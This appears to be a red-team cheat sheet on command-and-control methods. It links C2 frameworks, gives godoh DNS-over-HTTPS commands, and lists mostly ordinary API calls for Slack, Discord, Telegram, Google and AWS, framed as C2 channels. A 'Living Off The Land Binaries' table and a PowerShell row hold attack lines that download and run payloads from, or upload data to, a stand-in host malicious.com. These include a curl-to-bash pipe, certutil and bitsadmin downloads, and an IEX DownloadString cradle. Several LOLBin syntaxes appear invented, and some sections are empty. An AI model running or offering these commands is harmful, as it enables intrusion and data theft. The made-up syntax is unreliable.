TOP C&C METHODS

HADESS

WWW.HADESS.IO

Top C&C Methods(RTC0023)

C2C Methods

DNS-over-HTTPS C2

https://github.com/sensepost/godoh

1. **Starting the C2 Server:** This command starts the godoh Command and Control (C2) server, which listens for incoming DNS requests and commands from agents.

   ```
   godoh --domain example.com c2
   ```

   - **Description:** This command initializes the C2 server on the specified domain (`example.com` in this case). The server listens on port 53 for DNS queries and handles communication with agents.

2. **Sending a File via DoH (DNS over HTTPS):** This command sends a file to a target domain using DNS A record lookups.

   ```
   godoh --domain targetdomain.com send --file path/to/yourfile.txt
   ```

   - **Description:** This command encodes and encrypts the specified file (`yourfile.txt`), then sends it to the `targetdomain.com`. The file is transmitted via DNS queries, which are less likely to be blocked or monitored by network security systems.

havoc

https://github.com/HavocFramework/Havoc

instagram

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Authenticate User**	Authenticate the user to gain access to Instagram's API.	`curl -X GET 'https://api.instagram.com/oauth/authorize?client_id={app-id}&redirect_uri={redirect-uri}&scope=user_profile,user_media&response_type=code'`	`https://api.instagram.com/oauth/authorize`	`GET https://api.instagram.com/oauth/authorize?client_id={app-id}&redirect_uri={redirect-uri}&scope=user_profile,user_media&response_type=code`
2	**Get Access Token**	Exchange the code received after authentication for an access token.	`curl -X POST 'https://api.instagram.com/oauth/access_token' -F 'client_id={app-id}' -F 'client_secret={app-secret}' -F 'grant_type=authorization_code' -F 'redirect_uri={redirect-uri}' -F 'code={code}'`	`https://api.instagram.com/oauth/access_token`	`POST https://api.instagram.com/oauth/access_token`
3	**Retrieve User Media**	Fetch media objects from the authenticated user's account.	`curl -X GET 'https://graph.instagram.com/me/media?fields=id,caption&access_token={access-token}'`	`https://graph.instagram.com/me/media`	`GET https://graph.instagram.com/me/media?fields=id,caption&access_token={access-token}`
4	**Get Media Details**	Get details of a specific media object.	`curl -X GET 'https://graph.instagram.com/{media-id}?fields=id,media_type,media_url,username,timestamp&access_token={access-token}'`	`https://graph.instagram.com/{media-id}`	`GET https://graph.instagram.com/{media-id}?fields=id,media_type,media_url,username,timestamp&access_token={access-token}`
5	**Post to Instagram**	Post new media to the user's Instagram account.	*Note: Direct posting via API is restricted. Use Instagram's Content Publishing API.*	*Not directly available*	*Not directly available*

slack

https://github.com/Coalfire-Research/Slackor

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Authenticate App**	Obtain an access token for your Slack app.	`curl -X POST 'https://slack.com/api/oauth.v2.access' -H 'Content-Type: application/x-www-form-urlencoded' -d 'code={code}&client_id={client-id}&client_secret={client-secret}&redirect_uri={redirect-uri}'`	`https://slack.com/api/oauth.v2.access`	`POST https://slack.com/api/oauth.v2.access`

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
2	**Post Message**	Send a message to a channel.	`curl -X POST 'https://slack.com/api/chat.postMessage' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"channel":"{channel-id}","text":"Hello, world!"}'`	`https://slack.com/api/chat.postMessage`	`POST https://slack.com/api/chat.postMessage`
3	**List Channels**	Retrieve a list of channels in the Slack workspace.	`curl -X GET 'https://slack.com/api/conversations.list' -H 'Authorization: Bearer {access-token}'`	`https://slack.com/api/conversations.list`	`GET https://slack.com/api/conversations.list`
4	**Create Channel**	Create a new channel in the workspace.	`curl -X POST 'https://slack.com/api/conversations.create' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"name":"new-channel"}'`	`https://slack.com/api/conversations.create`	`POST https://slack.com/api/conversations.create`
5	**Upload File**	Upload a file to a channel.	`curl -F file=@"/path/to/your/file.txt" -F channels="{channel-id}" -H 'Authorization: Bearer {access-token}' 'https://slack.com/api/files.upload'`	`https://slack.com/api/files.upload`	`POST https://slack.com/api/files.upload`

Google calendar

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**List Calendars**	Retrieve a list of calendars in the user's account.	`curl -X GET 'https://www.googleapis.com/calendar/v3/users/me/calendarList' -H 'Authorization: Bearer {access-token}'`	`https://www.googleapis.com/calendar/v3/users/me/calendarList`	`GET https://www.googleapis.com/calendar/v3/users/me/calendarList`
2	**Create Event**	Create a new event in a specified calendar.	`curl -X POST 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "summary": "Event Title", "description": "Event Description", "start": { "dateTime": "2023-11-10T09:00:00-07:00" }, "end": { "dateTime": "2023-11-10T10:00:00-07:00" } }'`	`https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events`	`POST https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events`
3	**Get Event**	Retrieve details of a specific event.	`curl -X GET 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}'`	`https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}`	`GET https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}`

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
4	**Update Event**	Update an existing event in a calendar.	`curl -X PUT 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "summary": "Updated Event Title", "description": "Updated Description" }'`	`https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}`	`PUT https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}`
5	**Delete Event**	Delete an event from a calendar.	`curl -X DELETE 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}'`	`https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}`	`DELETE https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}`

google drive

https://github.com/looCiprian/GC2-sheet

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**List Files**	Retrieve a list of files in the user's Google Drive.	`curl -X GET 'https://www.googleapis.com/drive/v3/files' -H 'Authorization: Bearer {access-token}'`	`https://www.googleapis.com/drive/v3/files`	`GET https://www.googleapis.com/drive/v3/files`
2	**Upload File**	Upload a new file to Google Drive.	`curl -X POST 'https://www.googleapis.com/upload/drive/v3/files?uploadType=media' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: {mime-type}' --data-binary '@{file-path}'`	`https://www.googleapis.com/upload/drive/v3/files`	`POST https://www.googleapis.com/upload/drive/v3/files`
3	**Download File**	Download a file from Google Drive.	`curl -X GET 'https://www.googleapis.com/drive/v3/files/{file-id}?alt=media' -H 'Authorization: Bearer {access-token}' --output {local-file-path}`	`https://www.googleapis.com/drive/v3/files/{file-id}`	`GET https://www.googleapis.com/drive/v3/files/{file-id}?alt=media`
4	**Update File**	Update an existing file in Google Drive.	`curl -X PATCH 'https://www.googleapis.com/drive/v3/files/{file-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "name": "new-file-name" }'`	`https://www.googleapis.com/drive/v3/files/{file-id}`	`PATCH https://www.googleapis.com/drive/v3/files/{file-id}`
5	**Delete File**	Delete a file from Google Drive.	`curl -X DELETE 'https://www.googleapis.com/drive/v3/files/{file-id}' -H 'Authorization: Bearer {access-token}'`	`https://www.googleapis.com/drive/v3/files/{file-id}`	`DELETE https://www.googleapis.com/drive/v3/files/{file-id}`

Living Off The Land Binaries

Binary/Library/Script	Function	Example Command
`AddinUtil.exe`	Execute	`AddinUtil.exe /execute /payload:url`
`AppInstaller.exe`	Download	`AppInstaller.exe /download /url:http://malicious.com/payload`
`Aspnet_Compiler.exe`	AWL Bypass	`Aspnet_Compiler.exe /path:C:\malicious_code`
`At.exe`	Execute	`At.exe 12:00 /every:M,T,W,Th,F "C:\malicious\malware.exe"`
`Atbroker.exe`	Execute	`Atbroker.exe /start /app:C:\malicious\malware.exe`
`Bash.exe`	Execute	`Bash.exe -c 'curl http://malicious.com/script.sh | bash'`
`Bitsadmin.exe`	Download	`Bitsadmin.exe /transfer myDownloadJob /download /priority normal http://malicious.com/payload.exe C:\payload.exe`
`CertOC.exe`	Execute	`CertOC.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe`
`CertReq.exe`	Download	`CertReq.exe -retrieve http://malicious.com/certificate.cer`
`Certutil.exe`	Download	`Certutil.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe`
`Cmd.exe`	Execute	`Cmd.exe /c "C:\malicious\malware.exe"`
`Cmdkey.exe`	Credentials	`Cmdkey.exe /list > C:\output.txt`
`cmdl32.exe`	Download	`cmdl32.exe /download http://malicious.com/payload.exe C:\payload.exe`
`Cmstp.exe`	Execute	`Cmstp.exe /ni /s C:\malicious\malware.inf`
`Colorcpl.exe`	Copy	`Colorcpl.exe /copy C:\malicious\malware.exe C:\Windows\System32\`
`ConfigSecurityPolicy.exe`	Upload	`ConfigSecurityPolicy.exe /upload C:\data.txt http://malicious.com/upload`
`Conhost.exe`	Execute	`Conhost.exe C:\malicious\malware.exe`
`Control.exe`	Execute	`Control.exe /name Microsoft.WindowsUpdate`
`Csc.exe`	Compile	`Csc.exe /out:Malware.exe Malware.cs`
`Cscript.exe`	Execute	`Cscript.exe //E:JScript C:\malicious\script.js`

merlin

https://github.com/Ne0nd0g/merlin

kubesploit

https://github.com/cyberark/kubesploit

phpsploit

https://github.com/nil0x42/phpsploit

blackmamba

https://github.com/loseys/BlackMamba

silver

https://github.com/BishopFox/sliver

HeadHunter

https://github.com/Lionskey/HeadHunter

Exchange

https://github.com/parham-f/Exchange_C2

cobalt

https://github.com/The-Z-Labs/bof-launcher

brc4

discord

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Send Message**	Send a message to a Discord channel.	`curl -X POST 'https://discord.com/api/channels/{channel-id}/messages' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"content": "Hello, world!"}'`	`https://discord.com/api/channels/{channel-id}/messages`	`POST https://discord.com/api/channels/{channel-id}/messages`
2	**List Channel Messages**	Retrieve messages from a specific channel.	`curl -X GET 'https://discord.com/api/channels/{channel-id}/messages' -H 'Authorization: Bot {bot-token}'`	`https://discord.com/api/channels/{channel-id}/messages`	`GET https://discord.com/api/channels/{channel-id}/messages`
3	**Edit Message**	Edit a previously sent message in a channel.	`curl -X PATCH 'https://discord.com/api/channels/{channel-id}/messages/{message-id}' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"content": "Edited message"}'`	`https://discord.com/api/channels/{channel-id}/messages/{message-id}`	`PATCH https://discord.com/api/channels/{channel-id}/messages/{message-id}`
4	**Delete Message**	Delete a message from a channel.	`curl -X DELETE 'https://discord.com/api/channels/{channel-id}/messages/{message-id}' -H 'Authorization: Bot {bot-token}'`	`https://discord.com/api/channels/{channel-id}/messages/{message-id}`	`DELETE https://discord.com/api/channels/{channel-id}/messages/{message-id}`

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
5	**Create Channel**	Create a new channel in a Discord server.	`curl -X POST 'https://discord.com/api/guilds/{guild-id}/channels' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"name": "new-channel", "type": 0}'`	`https://discord.com/api/guilds/{guild-id}/channels`	`POST https://discord.com/api/guilds/{guild-id}/channels`

telegram

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Send Message**	Send a message to a Telegram chat.	`curl -X POST 'https://api.telegram.org/bot{bot-token}/sendMessage' -d 'chat_id={chat-id}&text=Hello, world!'`	`https://api.telegram.org/bot{bot-token}/sendMessage`	`POST https://api.telegram.org/bot{bot-token}/sendMessage`
2	**Get Updates**	Retrieve new updates for the bot.	`curl -X GET 'https://api.telegram.org/bot{bot-token}/getUpdates'`	`https://api.telegram.org/bot{bot-token}/getUpdates`	`GET https://api.telegram.org/bot{bot-token}/getUpdates`
3	**Edit Message**	Edit a text message sent by the bot.	`curl -X POST 'https://api.telegram.org/bot{bot-token}/editMessageText' -d 'chat_id={chat-id}&message_id={message-id}&text=Edited message'`	`https://api.telegram.org/bot{bot-token}/editMessageText`	`POST https://api.telegram.org/bot{bot-token}/editMessageText`
4	**Delete Message**	Delete a message sent by the bot.	`curl -X POST 'https://api.telegram.org/bot{bot-token}/deleteMessage' -d 'chat_id={chat-id}&message_id={message-id}'`	`https://api.telegram.org/bot{bot-token}/deleteMessage`	`POST https://api.telegram.org/bot{bot-token}/deleteMessage`
5	**Send Photo**	Send a photo to a Telegram chat.	`curl -X POST 'https://api.telegram.org/bot{bot-token}/sendPhoto' -F 'chat_id={chat-id}' -F 'photo=@/path/to/photo.jpg'`	`https://api.telegram.org/bot{bot-token}/sendPhoto`	`POST https://api.telegram.org/bot{bot-token}/sendPhoto`

github

https://github.com/3ct0s/dystopia-c2

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**List Repositories**	Retrieve a list of repositories for a user.	`curl -X GET 'https://api.github.com/users/{username}/repos' -H 'Authorization: token {access-token}'`	`https://api.github.com/users/{username}/repos`	`GET https://api.github.com/users/{username}/repos`
2	**Create Repository**	Create a new repository.	`curl -X POST 'https://api.github.com/user/repos' -H 'Authorization: token {access-token}' -H 'Content-Type: application/json' -d '{"name": "repo-name", "private": false}'`	`https://api.github.com/user/repos`	`POST https://api.github.com/user/repos`

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
3	**Get Repository**	Retrieve details of a specific repository.	`curl -X GET 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}'`	`https://api.github.com/repos/{owner}/{repo}`	`GET https://api.github.com/repos/{owner}/{repo}`
4	**Update Repository**	Update settings of a repository.	`curl -X PATCH 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}' -H 'Content-Type: application/json' -d '{"name": "new-repo-name", "description": "Updated description"}'`	`https://api.github.com/repos/{owner}/{repo}`	`PATCH https://api.github.com/repos/{owner}/{repo}`
5	**Delete Repository**	Delete a repository.	`curl -X DELETE 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}'`	`https://api.github.com/repos/{owner}/{repo}`	`DELETE https://api.github.com/repos/{owner}/{repo}`

image

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Upload Image**	Upload an image to the server for processing.	`curl -X POST 'https://api.imaginaryservice.com/upload' -H 'Authorization: Bearer {access-token}' -F 'image=@/path/to/image.jpg'`	`https://api.imaginaryservice.com/upload`	`POST https://api.imaginaryservice.com/upload`
2	**Apply Filter**	Apply a filter to an uploaded image.	`curl -X POST 'https://api.imaginaryservice.com/images/{image-id}/filter' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"filter": "sepia"}'`	`https://api.imaginaryservice.com/images/{image-id}/filter`	`POST https://api.imaginaryservice.com/images/{image-id}/filter`
3	**Resize Image**	Resize an uploaded image.	`curl -X PUT 'https://api.imaginaryservice.com/images/{image-id}/resize' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"width": 800, "height": 600}'`	`https://api.imaginaryservice.com/images/{image-id}/resize`	`PUT https://api.imaginaryservice.com/images/{image-id}/resize`
4	**Retrieve Image**	Download a processed image.	`curl -X GET 'https://api.imaginaryservice.com/images/{image-id}' -H 'Authorization: Bearer {access-token}' --output {local-file-path}`	`https://api.imaginaryservice.com/images/{image-id}`	`GET https://api.imaginaryservice.com/images/{image-id}`
5	**Delete Image**	Delete an image from the server.	`curl -X DELETE 'https://api.imaginaryservice.com/images/{image-id}' -H 'Authorization: Bearer {access-token}'`	`https://api.imaginaryservice.com/images/{image-id}`	`DELETE https://api.imaginaryservice.com/images/{image-id}`

powershell

ID	Title	Description	PowerShell Commands and Codes	API Endpoint (Hypothetical)	HTTP Requests (Example)
1	**Invoke Web Request**	Send a GET request to an API.	`Invoke-WebRequest -Uri 'https://api.example.com/data' -Method Get -Headers @{Authorization="Bearer {access-token}"}`	`https://api.example.com/data`	`GET https://api.example.com/data`
2	**Download File**	Download a file from the internet.	`Invoke-WebRequest -Uri 'https://example.com/file.zip' -OutFile 'path\to\save\file.zip'`	N/A	N/A
3	**Execute Remote Script**	Run a PowerShell script from a remote location.	`IEX (New-Object Net.WebClient).DownloadString('https://example.com/script.ps1')`	N/A	N/A
4	**Post Data to API**	Send a POST request with data.	`$body = @{key='value'} | ConvertTo-Json; Invoke-WebRequest -Uri 'https://api.example.com/submit' -Method Post -Body $body -ContentType 'application/json' -Headers @{Authorization="Bearer {access-token}"}`	`https://api.example.com/submit`	`POST https://api.example.com/submit`
5	**Fetch System Information**	Retrieve system information.	`Get-ComputerInfo`	N/A	N/A

curl

ID	Title	Description	`curl` Commands and Codes	API Endpoint	HTTP Requests
1	**GET Request**	Retrieve data from an API.	`curl -X GET 'https://api.example.com/data' -H 'Authorization: Bearer {access-token}'`	`https://api.example.com/data`	`GET https://api.example.com/data`
2	**POST Request**	Send data to an API.	`curl -X POST 'https://api.example.com/submit' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"key": "value"}'`	`https://api.example.com/submit`	`POST https://api.example.com/submit`
3	**PUT Request**	Update data at an API.	`curl -X PUT 'https://api.example.com/update/123' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"newKey": "newValue"}'`	`https://api.example.com/update/123`	`PUT https://api.example.com/update/123`
4	**DELETE Request**	Delete data using an API.	`curl -X DELETE 'https://api.example.com/delete/123' -H 'Authorization: Bearer {access-token}'`	`https://api.example.com/delete/123`	`DELETE https://api.example.com/delete/123`

ID	Title	Description	`curl` Commands and Codes	API Endpoint	HTTP Requests
5	**PATCH Request**	Partially update data at an API.	`curl -X PATCH 'https://api.example.com/modify/123' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"patchKey": "patchValue"}'`	`https://api.example.com/modify/123`	`PATCH https://api.example.com/modify/123`

scp

ID	Title	Description	SCP Commands and Codes	Notes
1	**Copy File to Remote**	Copy a local file to a remote server.	`scp /path/to/local/file username@remotehost:/path/to/remote/directory`	Replace paths and `username@remotehost` with actual values.
2	**Copy File from Remote**	Copy a file from a remote server to the local machine.	`scp username@remotehost:/path/to/remote/file /path/to/local/directory`	Replace paths and `username@remotehost` with actual values.
3	**Copy Directory to Remote**	Copy a local directory to a remote server.	`scp -r /path/to/local/directory username@remotehost:/path/to/remote`	Use `-r` for recursive copy of directories.
4	**Copy Directory from Remote**	Copy a directory from a remote server to the local machine.	`scp -r username@remotehost:/path/to/remote/directory /path/to/local`	Use `-r` for recursive copy of directories.
5	**Secure Copy with Port Specification**	Copy a file using a specific SSH port.	`scp -P portnumber /path/to/local/file username@remotehost:/path/to/remote/directory`	Replace `portnumber` with the SSH port number.

rsync

ID	Title	Description	`rsync` Commands and Codes	Notes
1	**Basic File Sync**	Synchronize a local file to a remote directory.	`rsync /path/to/local/file username@remotehost:/path/to/remote/directory`	Replace paths and `username@remotehost` with actual values.
2	**Sync Directory**	Synchronize a local directory to a remote directory.	`rsync -avz /path/to/local/directory/ username@remotehost:/path/to/remote/directory`	`-avz` flags are for archive mode, verbose, and compression.
3	**Sync with Deletion**	Synchronize while deleting files that are not in the source directory.	`rsync -avz --delete /path/to/local/directory/ username@remotehost:/path/to/remote/directory`	`--delete` flag removes files from the destination not present in the source.
4	**Dry Run**	Perform a trial run with no changes made.	`rsync -avz --dry-run /path/to/local/directory/ username@remotehost:/path/to/remote/directory`	`--dry-run` shows what would be done without making changes.

ID	Title	Description	`rsync` Commands and Codes	Notes
5	**Sync Over SSH**	Synchronize files securely over SSH.	`rsync -avz -e "ssh -p portnumber" /path/to/local/directory/ username@remotehost:/path/to/remote/directory`	`-e "ssh -p portnumber"` specifies using SSH on a custom port.

wget

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Download a Single File**	Download a file from a specified URL.	`wget http://example.com/file.txt`	N/A	`GET http://example.com/file.txt`
2	**Download and Save with a Different Name**	Download a file and save it under a different name.	`wget -O newfilename.txt http://example.com/file.txt`	N/A	`GET http://example.com/file.txt`
3	**Download in Background**	Start a download in the background.	`wget -b http://example.com/bigfile.iso`	N/A	`GET http://example.com/bigfile.iso`
4	**Limit Download Speed**	Limit the download speed.	`wget --limit-rate=100k http://example.com/bigfile.iso`	N/A	`GET http://example.com/bigfile.iso`
5	**Download a Full Website**	Download the entire contents of a website.	`wget --mirror -p --convert-links -P ./local-dir http://example.com`	N/A	`GET http://example.com`
6	**Download Files from a List**	Download files from a list in a text file.	`wget -i filelist.txt`	N/A	Based on `filelist.txt` contents
7	**Download with Authentication**	Download a file from a server with HTTP authentication.	`wget --http-user=user --http-password=password http://example.com/`	N/A	`GET http://example.com/`
8	**Download via FTP**	Download files from an FTP server.	`wget ftp://user:password@example.com/path/to/file`	N/A	FTP request to `example.com`
9	**Resume an Incomplete Download**	Resume a download that was interrupted.	`wget -c http://example.com/bigfile.iso`	N/A	`GET http://example.com/bigfile.iso`

yum

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Install a Package**	Install a new software package.	`yum install packageName`	N/A	N/A
2	**Update a Package**	Update an installed software package.	`yum update packageName`	N/A	N/A

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
3	**Remove a Package**	Remove an installed software package.	`yum remove packageName`	N/A	N/A
4	**List Installed Packages**	List all installed packages.	`yum list installed`	N/A	N/A
5	**Search for a Package**	Search for a package in the repositories.	`yum search keyword`	N/A	N/A
6	**Check for Updates**	Check for available updates for all packages.	`yum check-update`	N/A	N/A
7	**Clean Cache**	Clean up yum cache to free up space.	`yum clean all`	N/A	N/A
8	**List Available Packages**	List all available packages in the repositories.	`yum list available`	N/A	N/A
9	**Get Package Information**	Display detailed information about a package.	`yum info packageName`	N/A	N/A

winget

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Install a Package**	Install a new software package.	`winget install packageName`	N/A	N/A
2	**Search for a Package**	Search for a package in the repository.	`winget search packageName`	N/A	N/A
3	**Show Package Details**	Show details of a specific package.	`winget show packageName`	N/A	N/A
4	**List Installed Packages**	List all installed packages.	`winget list`	N/A	N/A
5	**Update a Package**	Update an installed software package.	`winget upgrade packageName`	N/A	N/A
6	**Remove a Package**	Remove an installed software package.	`winget uninstall packageName`	N/A	N/A
7	**Upgrade All Packages**	Upgrade all upgradable packages.	`winget upgrade --all`	N/A	N/A
8	**Export Package List**	Export a list of installed packages to a file.	`winget export -o packages.json`	N/A	N/A
9	**Import Package List**	Install packages from an exported list.	`winget import -i packages.json`	N/A	N/A

ftp

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Connect to FTP Server**	Establish a connection with an FTP server.	`ftp ftp.server.com`	N/A	N/A
2	**Login**	Log in to the FTP server with a username and password.	`username` then `password`	N/A	N/A

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
3	**List Files**	List files in the current directory.	`ls` or `dir`	N/A	N/A
4	**Change Directory**	Change the current directory on the FTP server.	`cd /path/to/directory`	N/A	N/A
5	**Upload File**	Upload a file to the FTP server.	`put localfile.txt remotefile.txt`	N/A	N/A
6	**Download File**	Download a file from the FTP server.	`get remotefile.txt localfile.txt`	N/A	N/A
7	**Delete File**	Delete a file on the FTP server.	`delete remotefile.txt`	N/A	N/A
8	**Rename File**	Rename a file on the FTP server.	`rename oldfilename.txt newfilename.txt`	N/A	N/A
9	**Logout**	Logout from the FTP server.	`bye` or `quit`	N/A	N/A

usb

Pastebin

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Create Paste**	Create a new paste on Pastebin.	`curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=paste&api_paste_code=Sample Text&api_paste_name=Test Paste&api_paste_expire_date=10M&api_paste_format=text&api_user_key={api_user_key}'`	`https://pastebin.com/api/api_post.php`	`POST https://pastebin.com/api/api_post.php`
2	**List User Pastes**	List the pastes created by a user.	`curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=list&api_user_key={api_user_key}&api_results_limit=10'`	`https://pastebin.com/api/api_post.php`	`POST https://pastebin.com/api/api_post.php`
3	**Get User Details**	Retrieve details of the logged-in user.	`curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=userdetails&api_user_key={api_user_key}'`	`https://pastebin.com/api/api_post.php`	`POST https://pastebin.com/api/api_post.php`
4	**Delete Paste**	Delete a user's paste.	`curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=delete&api_user_key={api_user_key}&api_paste_key={paste_key}'`	`https://pastebin.com/api/api_post.php`	`POST https://pastebin.com/api/api_post.php`
5	**Get Raw Paste**	Get the raw text of a paste.	`curl -X GET 'https://pastebin.com/api/api_raw.php?api_dev_key={api_dev_key}&api_user_key={api_user_key}&api_paste_key={paste_key}'`	`https://pastebin.com/api/api_raw.php`	`GET https://pastebin.com/api/api_raw.php`

YouTube

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**List Videos**	Retrieve a list of videos from a specific channel.	`curl -X GET 'https://www.googleapis.com/youtube/v3/videos?part=snippet&channelId={channelId}&key={API_KEY}'`	`https://www.googleapis.com/youtube/v3/videos`	`GET https://www.googleapis.com/youtube/v3/videos?part=snippet&channelId={channelId}&key={API_KEY}`
2	**Upload Video**	Upload a video to YouTube.	`curl -X POST -H 'Authorization: Bearer {access-token}' -F 'snippet={\"title\":\"My video\",\"description\":\"Video description\",\"tags\":[\"tag1\",\"tag2\"]}' -F 'status={\"privacyStatus\":\"public\"}' -F 'video=@/path/to/video.mp4;type=video/mp4' 'https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status'`	`https://www.googleapis.com/upload/youtube/v3/videos`	`POST https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status`
3	**Update Video Details**	Update metadata of an existing video.	`curl -X PUT 'https://www.googleapis.com/youtube/v3/videos' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"id\":\"{videoId}\",\"snippet\":{\"title\":\"New Title\",\"description\":\"Updated description\",\"categoryId\":\"10\"},\"status\":{\"privacyStatus\":\"public\"}}'`	`https://www.googleapis.com/youtube/v3/videos`	`PUT https://www.googleapis.com/youtube/v3/videos`
4	**Delete Video**	Delete a video from YouTube.	`curl -X DELETE 'https://www.googleapis.com/youtube/v3/videos?id={videoId}&key={API_KEY}' -H 'Authorization: Bearer {access-token}'`	`https://www.googleapis.com/youtube/v3/videos`	`DELETE https://www.googleapis.com/youtube/v3/videos?id={videoId}&key={API_KEY}`
5	**Create Playlist**	Create a new playlist.	`curl -X POST 'https://www.googleapis.com/youtube/v3/playlists' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"snippet\":{\"title\":\"My Playlist\",\"description\":\"Playlist description\"},\"status\":{\"privacyStatus\":\"public\"}}'`	`https://www.googleapis.com/youtube/v3/playlists`	`POST https://www.googleapis.com/youtube/v3/playlists`

Facebook

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Retrieve User Profile**	Get details of a user’s profile.	`curl -X GET 'https://graph.facebook.com/v12.0/me?access_token={access-token}'`	`https://graph.facebook.com/v12.0/me`	`GET https://graph.facebook.com/v12.0/me?access_token={access-token}`
2	**Post to User’s Feed**	Create a post on a user’s feed.	`curl -X POST 'https://graph.facebook.com/v12.0/me/feed?message=Hello%20World&access_token={access-token}'`	`https://graph.facebook.com/v12.0/me/feed`	`POST https://graph.facebook.com/v12.0/me/feed?message=Hello%20World&access_token={access-token}`
3	**List User’s Photos**	Retrieve a list of photos uploaded by a user.	`curl -X GET 'https://graph.facebook.com/v12.0/me/photos?type=uploaded&access_token={access-token}'`	`https://graph.facebook.com/v12.0/me/photos`	`GET https://graph.facebook.com/v12.0/me/photos?type=uploaded&access_token={access-token}`
4	**Upload a Photo**	Upload a photo to a user’s account.	`curl -F 'source=@/path/to/photo.jpg' -F 'access_token={access-token}' 'https://graph.facebook.com/v12.0/me/photos'`	`https://graph.facebook.com/v12.0/me/photos`	`POST https://graph.facebook.com/v12.0/me/photos`
5	**Delete a Post**	Delete a specific post from a user’s feed.	`curl -X DELETE 'https://graph.facebook.com/v12.0/{post-id}?access_token={access-token}'`	`https://graph.facebook.com/v12.0/{post-id}`	`DELETE https://graph.facebook.com/v12.0/{post-id}?access_token={access-token}`

AWS

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**List S3 Buckets**	List all S3 buckets in your account.	`aws s3api list-buckets`	`s3.amazonaws.com`	`GET /`
2	**Create EC2 Instance**	Launch a new EC2 instance.	`aws ec2 run-instances --image-id ami-0abcdef1234567890 --count 1 --instance-type t2.micro --key-name MyKeyPair`	`ec2.amazonaws.com`	`POST /` with parameters in request body
3	**Invoke Lambda Function**	Invoke an AWS Lambda function.	`aws lambda invoke --function-name my-function out --log-type Tail`	`lambda.amazonaws.com`	`POST /2015-03-31/functions/my-function/invocations`
4	**Describe RDS Instances**	Retrieve details of RDS instances.	`aws rds describe-db-instances`	`rds.amazonaws.com`	`POST /` with parameters in request body

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
5	**Publish to SNS Topic**	Publish a message to an SNS topic.	`aws sns publish --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic --message "Hello world"`	`sns.amazonaws.com`	`POST /` with parameters in request body

Microsoft's Onedrive

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
